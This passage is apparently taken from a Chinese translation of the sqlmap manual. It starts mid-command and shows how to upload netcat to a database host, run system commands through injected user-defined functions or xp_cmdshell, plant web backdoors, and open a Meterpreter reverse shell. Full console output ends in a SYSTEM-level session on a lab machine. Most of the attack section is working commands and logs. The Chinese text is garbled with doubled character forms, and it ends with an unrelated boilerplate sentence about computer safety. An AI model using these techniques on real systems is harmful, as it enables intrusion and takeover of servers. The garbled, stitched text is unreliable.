"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
運行任意操作系統(tǒng)命令
參數(shù):–os-cmd,–os-shell
當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。
在MySQL、PostgreSQL,sqlmap上傳一個二進(jìn)制庫,包含用戶自定義的函數(shù),sys_exec()和sys_eval()。
那么他創(chuàng)建的這兩個函數(shù)可以執(zhí)行系統(tǒng)命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認(rèn)止),sqlmap會重新啟用它,如果不存在,會自動創(chuàng)建。
列舉一個PostgreSQL的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
用–os-shell參數(shù)也可以模擬一個真實的shell,可以輸入你想執(zhí)行的命令。
當(dāng)不能執(zhí)行多語句的時候(比如php或者asp的后端數(shù)據(jù)庫為MySQL時),仍然可能使用INTO OUTFILE寫進(jìn)可寫目錄,來創(chuàng)建一個web后門。支持的語言:
1、ASP
2、ASP.NET
3、JSP
4、PHP
Meterpreter配合使用
參數(shù):–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù),可以在數(shù)據(jù)庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據(jù)Metasploit生成shellcode,并有四種方式執(zhí)行它:
1、通過用戶自定義的sys_bineval()函數(shù)在內(nèi)存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據(jù)庫,參數(shù):--os-pwn。
2、通過用戶自定義的函數(shù)上傳一個獨立的payload執(zhí)行,MySQL和PostgreSQL的sys_exec()函數(shù),Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):--os-pwn。
3、通過SMB攻擊(MS08-068)來執(zhí)行Metasploit的shellcode,當(dāng)sqlmap獲取到的權(quán)限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內(nèi)存中執(zhí)行Metasploit的payload,參數(shù):--os-bof
列舉一個MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
_
o
_ _ _ _ _ _ __, , _ __ _ _
/ / / / / / _ / _ / / _
_/ __/ _/_/ _/ / __/ __/__/ _/ _/
/
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITYSYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
默認(rèn)情況下MySQL在Windows上以SYSTEM權(quán)限運行,PostgreSQL在Windows與Linux中是低權(quán)限運行,Microsoft SQL Server 2000默認(rèn)是以SYSTEM權(quán)限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。